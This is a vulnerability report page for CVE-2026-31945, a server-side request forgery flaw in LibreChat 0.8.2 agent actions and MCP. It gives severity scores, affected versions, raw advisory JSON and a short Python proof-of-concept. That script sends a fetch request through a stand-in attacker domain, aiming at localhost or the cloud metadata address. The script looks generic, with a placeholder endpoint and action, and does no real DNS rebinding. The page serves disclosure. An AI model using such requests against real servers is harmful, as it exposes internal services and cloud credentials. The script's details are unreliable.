Security Vulnerability Report
中文
CVE-2026-31945 CVSS 7.7 HIGH

CVE-2026-31945

Published: 2026-03-27 20:16:30
Last Modified: 2026-03-30 20:35:04

Description

LibreChat is a ChatGPT clone with additional features. Versions 0.8.2-rc2 through 0.8.2 are vulnerable to a server-side request forgery (SSRF) attack when using agent actions or MCP. Although a previous SSRF vulnerability (https://github.com/danny-avila/LibreChat/security/advisories/GHSA-rgjq-4q58-m3q8) was reported and patched, the fix only introduced hostname validation. It does not verify whether DNS resolution results in a private IP address. As a result, an attacker can still bypass the protection and gain access to internal resources, such as an internal RAG API or cloud instance metadata endpoints. Version 0.8.3-rc1 contains a patch.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:librechat:librechat:0.8.2:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:librechat:librechat:0.8.2:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:librechat:librechat:0.8.2:rc3:*:*:*:*:*:* - VULNERABLE
LibreChat 0.8.2-rc2
LibreChat 0.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-31945: LibreChat SSRF via DNS Rebinding # This script simulates an attacker triggering the SSRF vulnerability. # The attacker controls the DNS resolution of 'malicious-dns.com' to point to an internal IP. target_url = "http://librechat-instance.com/api/agent-action" # Replace with actual target endpoint # Malicious domain that resolves to 127.0.0.1 (localhost) or 169.254.169.254 (Cloud Metadata) # The server validates the hostname but fails to check the resolved IP. internal_target = "http://malicious-dns.com/admin/config" payload = { "action": "fetch_resource", "url": internal_target } try: print(f"Sending request to {target_url} with payload: {payload}") response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] SSRF Triggered successfully!") print("[+] Server response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31945", "sourceIdentifier": "[email protected]", "published": "2026-03-27T20:16:30.060", "lastModified": "2026-03-30T20:35:03.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreChat is a ChatGPT clone with additional features. Versions 0.8.2-rc2 through 0.8.2 are vulnerable to a server-side request forgery (SSRF) attack when using agent actions or MCP. Although a previous SSRF vulnerability (https://github.com/danny-avila/LibreChat/security/advisories/GHSA-rgjq-4q58-m3q8) was reported and patched, the fix only introduced hostname validation. It does not verify whether DNS resolution results in a private IP address. As a result, an attacker can still bypass the protection and gain access to internal resources, such as an internal RAG API or cloud instance metadata endpoints. Version 0.8.3-rc1 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.8.2:-:*:*:*:*:*:*", "matchCriteriaId": "8D828ED6-3F44-4DD1-B29F-62D8977AF33A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.8.2:rc2:*:*:*:*:*:*", "matchCriteriaId": "21865C8B-C628-4275-A552-89F64EF22918"}, {"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.8.2:rc3:*:*:*:*:*:*", "matchCriteriaId": "47A1B487-1A7B-4E06-8503-56E7D349FAA2"}]}]}], "references": [{"url": "https://github.com/danny-avila/LibreChat/security/advisories/GHSA-f92m-jpv7-55p2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/danny-avila/LibreChat/security/advisories/GHSA-f92m-jpv7-55p2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}